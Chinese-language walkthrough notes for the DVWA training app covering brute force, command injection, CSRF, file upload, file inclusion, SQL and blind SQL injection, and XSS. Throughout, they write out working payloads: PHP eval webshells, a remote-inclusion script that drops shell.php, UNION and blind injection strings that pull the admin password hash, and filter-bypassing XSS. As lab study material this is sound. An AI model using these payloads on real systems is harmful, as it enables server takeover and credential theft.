一、密码尝试
brute-force(low)
开始状态:
首先我们通过dvwa页面向dvwa服务器(自己搭建),发送登录密码,然后使用wireshark抓包,查看密码,在wireshark上面选择发送给dvwa的服务器的网卡,进行抓包,得到登录密码。
http过滤->选择发送dvwa的http协议->右击追踪流->http流
我们可以替换username和password选项中的值,来达到暴力破解的目的。使用burp suit软件,捕获http协议并多次修改用户名和密码。
bp安装过程:
点击:
生成
选择
复制到activation request
生成的activation response复制到paste response
安装完成之后,我们使用这个软件中的proxy功能,首先我们需要把我们的浏览器设置代理功能。我们在浏览器上访问的数据报都提交到bp这个软件之上,我们通过这个软件来对http协议进行分析。
我们在设置代理的浏览器上面进行登录测试
使用BP查询密码
我们在bp上抓包可得
我们在空白处右击选择send to intruder,此时intruder会变红,我们进入intruder,选择positions选项,在这里我们进行一些设置。
我们在右边点击clear,清除&变量符号,然后我们只选择username和password等于号后面的变量,添加&符号。&的意思是设置的变量。
进入到Payloads
我们分别加载mima和username这两个文件,然后进行攻击,我们得到密码和用户名不一样的字段就是我们破解的密码和用户名。
Positions字段中的Attack type字段的意思
Sniper
Battering ram
Pitchfork
Cluster bomb
brute-force(medium)
中级的暴力破解和初级的暴力破解的方式一样,只是在php语言中添加了一句sleep()语句,减缓了暴力破解的速度。
PHP源码分析
了解PHP中mysqli_real_escape_string() 函数
作用:转义在 SQL 语句中使用的字符串中的特殊字符。
语法:
mysqli_real_escape_string(connection,escapestring);
connection 必需。规定要使用的 MySQL 连接。
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z
当用户提交用户名时可以添加一个 **'**,这样会造成和mysql数据库当中 **'**冲突然后会造成sql注入攻击。然后使用这个函数可将 **'**转换成 **\'**.
brute-force(high)
我们检查提交页面上的代码,找到<from >
表单当中的<input >
表单其中有一个<input type="hidden" value=user_token vlaue=" token值" >
当我们在前端点击login之后我们就会调用PHP脚本当中的checkToken()
函数,此函数非我们编写,我们只是调用。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ]
这个函数的功能只是比较$_REQUEST[ 'user_token' ]
和$_SESSION[ 'session_token'
这两个值是否相同,如果相同将会继续执行代码,如果不是相同就会形成跳转。其中checkToken()
函数前面的值来自于前端的按钮当中的value值,后面的参数是后端服务器自己产生。调用函数generateSessionToken()
他会重新生成一个session_token
,一个发送给前端作为vlaue
值,一个保留在后端session_token
当中,每次登录时用来比较是否相同。真是因为每一次都会生成一个新的token
值,所以给暴力破解带来了困难。
接着
获取token
同时我们找到Request Engine将线程设置成1,为了方便控制。
选择攻击就会得到我们需要的密码。
二、命令注入
浏览器脚本中没有对用户输入的命令进行严格的过滤,让用户可以提交一些执行命令让命令可以在服务器上面执行。
Command Injection(low)
在服务器端会打开记事本
在服务器端会出现关机现象
Command Injection(medium&high)
在PHP脚本里面添加了一些命令过滤,也就是黑名单(出现在名单中的命令将不会被执行)
三、CSRF(跨站请求伪造)
CSRF(low)
CSRF(跨站请求伪造)
是指利用受害者尚未失效的身份认证信息(cookie、绘画等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份(身份认证信息所对应)服务器发送请求,从而完成非法操作(如转账、更改密码)
现在我们来搭建一个自己创造的伪造网站(找一网页,找到保存页面,然后把保存的页面放到我们的服务器下面。然后修改其中的html代码)
这时我们已经修改用户的登录密码,这时我们把我们自己创建的网站链接发送给用户,如果用户点击我们的链接,他就在不知情的情况下修改了自己用户名和密码。
简单理解
现有一个用户a,正在登录的A网站(一直没有断开连接)。此时黑客会向用户a发送一个链接,这个链接中的网页代码经过黑客的修改,其中添加了a用户再次向A网站发送更改密码或者转账的代码。但是用户不知道此操作会修改他登录的A网站密码,而我们却知道a用户再次网站A发送更改的密码。
CSRF(medium)
我们分析low级别的csrf和medium级别的csrf发现它们只是在服务器端上运行的PHP脚本中有一句不同。
stripos()
函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
注释:stripos()
函数是不区分大小写的。
例如:
<?php
echo stripos("You love php, I love php too!","PHP");
?>
#运行结果为9(包含空格)
我们进入到服务器端,修改PHP代码用var_dump()
函数输出 $_SERVER[ 'HTTP_REFERER'
(上次访问页面的地址)和$_SERVER[ 'SERVER_NAME'
(访问服务器的地址 )的结果
我们得到在客户端浏览器上显示
当我们再次使用第一次方式进行跨站请求的话,我们不能够修改用户的密码,这是为什么呢?
因为当用户点击黑客发送的链接时,上一次用户请求修改的密码的链接地址是黑客架设的服务器ip地址,而不是用户自己主机访问真正服务器的地址。由于前后两次访问服务器的地址不一致,所以不能修改成功。
那么我们应当如何绕过呢?
我们可以修改网站的名字为192.168.1.105.html或者建立一个192.168.1.105的文件夹,这样我们就可以绕过这个函数检查两次IP地址是否一致。
我们访问的url也需要改变(也就黑客发送给用户的链接地址得改变)
修改后服务器的回应
这样我们就修改了原有用户的密码。
四、文件上传
File Upload(low)
服务器端没有对客户端上传的文件进行严格验证或过滤,二导致用户可以越过其本身权限向服务器上传一个可执行的脚本文件,并通过此脚本获得了执行服务器端执行命令的权力。
选择需要上传的文件
产看上传的文件
然后我们根据此原理来上传木马文件
我们写一个木马文件,然后将后缀名改为.php
<?php @eval($_POST(**aaa**); ?>
上传我们写的木马文件
上传成功后
我们得到文件上传的路径:http://192.168.43.20:8080/DVWA/DVWA-master/hackable/uploads/woodenhorse.php
然后我们使用中国菜刀这个软件进行登录
添加后,然后双击即可,这样我们就进入了服务器的目录。
当我们上传成功后我便可以对服务的网页进行增删改查。
五、文件包含
项目开发过程中,为了重复使用代码,开发人员会将一些重复使用的代码写入一个文件当中,需要使用时直接动态包含此文件,无需再次编写,这种文件调用的过程称为文件包含。
四种包含方式
1
、include()
:只有代码执行到该函数时才会包含文件进来,发生错误时只会给出一个警告并继续向下执行。
2、include_once():和include()
功能相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require():
只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行
4、require_once():
和requrie()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
如果服务端脚本对文件来源严格审查,就会导致任意文件读取或者任意命令执行。
文件包含分为两种:本地和远程
一种为本地文件包含
我们在phpstudy上创建一个text.php文件
然后我们在本地访问页面上访问这个地址,我们发现是可以执行这个脚本。
其中url后面的page= ,是我们上传文件之后,它所携带的参数
一种为远程文件包含
远程文件包含需要先修改配置文件,然后重启apach服务器。
我建设一台自己的服务器192.168.1.106,然后在创建一个木马文件malicious.tst。文件内容如下:
<?php
$f = fopen('shell.php','w');
$txt = '<?php eval($_POST[aaa])?>';
fwrite($f,$txt);
fclose($f);
?>
让对方执行含有我们木马文件路径的url
这样我们就会在对方电脑中生成我们创建木马文件
查看我们创建一句话木马文件内容
然后我们使菜刀去连接
成功拿下对放主机
六、SQL注入
登录sql命令行界面
打开 D:\PhpStudy\MySQL\bin 空白处按下shift 右击 打开powershell
第一种登录方式:
第二种登录方式:
其他选项菜单-》MySql工具-》MySql命令行
密码:root
图形化登录
MySql管理器-》MySql-front-》直接登录即可
数据库中常见操作:
show databases; 显示本地说有数据库
select database(); 查看当前使用的那个数据库
use information_schema ; 选择使用某个数据库
show tables; 查看但钱数据库中有多少表
create database newdb; 新建数据库newdb
create table chengji(
~i~ int(4) not null primary key auto_increment,
~name~ char(20) not null,
~sex~ int(4) not null default 0,
~grade~ double(16,2)
);
describe chengji; 查看表的结构
drop table chengji; 删除表名为chengji的表
drop database newdb; 删除数据库newdb
select database() 显示本地数据库
select version() mysql版本
select user() 显示数据库用户名的本地数据库
select @@version_compile_os 操作系统版本
select now()当前时间
select 4*2; 计算表达式
select @@datadir 数据库路径
use dvwa;
select * from users where user_id=3;
select * from user where user_id="3"
select * from user order by4;
用于合并两个或者多个select语句 union内部的select 语句必须拥有相同数量的列。
use dvwa:
select first_name ,last_name from users
union select user, last_login from users;
SQL注入(low)
1 #我们注入1看提交表单返回的结果
1' #我们注入1'发现有错误,因为注入的 ' 的和数据库中的 ' 匹配到了出现语法错误
1' union select User,Password from users # #我们最后注入要达到的效果
注入过程
1' order by 2#
相当于:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 #';
1' order by 3#
到此步骤,可以判断出sql查询语句中查询的字段数为2个
1' union select database(),version() #
相当于:SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),version() #';
到此步骤,可以判断出数据库的版本和名字
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
到此步骤,可以判断出数据库dvwa中的表的名字:guestbook, user
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='user' #
到此步骤,可以判断出数据库dvwa中的user表的字段名称,这里的-1是让前面不输出。当然+1也行,但是会有多余输出。
-1' union select User,Password from users #
到此步骤,可以查询出数据库dvwa中的user表的user和password字段的内容。
我们产看一下数据库重要的几个表
SCHMATA表中包含有哪些库名
bable数据表中记录了所有数据库中都有哪些数据表
第三张表COLIMNS中记录了数据库、数据表、字段之间的关系
七、SQL盲注
SQL盲注(low)
盲注的类型:
1、基于布尔的盲注
2、基于时间的盲注
3、基于报错的盲注
盲注攻击通常是无法显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。
1' and 1=1 #
1' and 1=2 #
到此步骤,输出的结果不一样,可以判断出sql查询语句中存在单引号(’)注入
1' and length(database())>4 #
1' and length(database())=4 #
1' and length(database())=3 #
1' and length(database())=2 #
1' and length(database())=1 #
到此步骤,可以判断出当前数据库名称的长度为:4
1' and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #
1' and ascii(substr(database(),3,1))=119 #
1' and ascii(substr(database(),4,1))=97 #
到此步骤,可以判断出当前数据库的名称为:dvwa
1' and (select count(table_name) from information_schema.tables where table_schema=database())>4 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=3 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
到此步骤,可以判断出当前数据库(dvwa)中数据表的个数为:2
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
到此步骤,可以判断出第一个数据表的名称的长度为:9
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<110 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 匹配g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 匹配u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 匹配e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 # 匹配s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116# 匹配t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 # 匹配b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 # 匹配o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 # 匹配o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 # 匹配k
到此步骤,可以判断出第一个数据表的名称为:guestbook
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
到此步骤,可以判断出第二个数据表的名称的长度为:5
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>88 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # 匹配u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 # 匹配s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 # 匹配e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 # 匹配r
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 # 匹配s
到此步骤,可以判断出第二个数据表的名称为:users
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 #
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
到此步骤,可以判断出users数据表的字段数为:8
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 #
到此步骤,可以判断出users数据表的第一个字段名称的长度为:7
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>88 #
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 # 匹配u
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115 # 匹配s
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),3,1))=101 # 匹配e
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),4,1))=114 # 匹配r
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),5,1))=95 # 匹配_
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),6,1))=105 # 匹配i
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),7,1))=100 # 匹配d
到此步骤,可以判断出users数据表的第一个字段的名称为:user_id
同理,可以判断出其余7个字段。
first_name last_name user password avatar last_login failed_login
1' and ascii(substr((select user from users limit 0,1),1,1))=97 # 匹配a
1' and ascii(substr((select user from users limit 0,1),2,1))=100 # 匹配d
1' and ascii(substr((select user from users limit 0,1),3,1))=109 # 匹配m
1' and ascii(substr((select user from users limit 0,1),4,1))=105 # 匹配i
1' and ascii(substr((select user from users limit 0,1),5,1))=110 # 匹配n
1' and ascii(substr((select user from users limit 0,1),6,1))>0 # 无匹配,说明没有第6个字符了
到此步骤,找到用户admin
1' and ascii(substr((select password from users where user='admin'),1,1))=50 # 匹配2
1' and ascii(substr((select password from users where user='admin'),2,1))=48 # 匹配0
其余类似,可以不断尝试出密码:202cb962ac59075b964b07152d234b70
八、跨站脚本攻击
恶意攻击者往web页面里面插入恶意Script代码,当用户浏览该页之时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
反射型XSS
XSS(low)
查看服务器PHP脚本程序
array_key_exists(mixed $key,array $array)
数组array里有key时,array_key_exists(),返回true
参数:
key:要检查的建
array:一个数组,包含待检查的建
返回值,成功true,失败false。
上面代码只是将我们的输入进行连接没有进行任何过滤。
我们尝试注入:
<script> alert("sss")</script>
<script> alert(document.cookie)</script>
XSS(medium)
PHP脚本代码
str_replace()替换字符串中的一些字符(区分大小写)
上面代码出现是将
我们尝试注入
<sc<script>ript> alert("sss");</script>
<sCript>alter("sss");</script>
XSS(high)
PHP脚本代码
preg_replace()执行正则表达式的搜索和替换
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
点符号" . “匹配除了换行符之外的所有字符
星符号” . " 代表着0个或者多个前面的内容
我们进行注入
<img src=1 onerror=alert('sss');>
XSS(impossible)
PHP脚本代码
使用htmlspecialchars
函数对参数进行html实体转义,此时就无法利用XSS漏洞了
<?php
$str=" This is some <b> bold </b> text.";
echo htmlspecialchars($str);
?>
存储型XSS
和反射型不同之处在于,存储型XSS和数据库之间是有交替,执行脚本之后会存储到数据库。
PHP脚本分析
存储型XSS(low)
trim 函数:移除字符串两侧的空白字符或其他预定义字符
mysql_real_escape_string(string,connection)
对字符串的特殊符号(\x00 , \n ,\r,\,' , ", \xla)进行转义。
stripslashes(string):删除字符串中的反斜杠。
存储型XSS(medium)
strip_tags() 函数:除去字符串中的HTML、XML以及PHP标签。
addslashes()函数:
< ?php
$str=addslashes("Hello "world" !");
echo($str);
?>
output: Hello \"world\"
name参数只是简单过滤了<script>字符串,任然存在存储型的XSS
name参数提交<sc <script>ript> alert("sss")</script>
存储型XSS(medium)
使用正则表达式过滤了<script> 标签但是忽略了img 、iframe 等其他危险的标签
name 参数依旧存在存储型XSS,name参数提交<img src=1 onerror=alert("sss")>注入
DVWA-XSS(Stored)脚本:
low:
<script>alert('msg')</script>
Medium:
<sc<script>ript>alert('sss')</script>
msg
High:
<img src=1 onerror=alert('sss')>
msg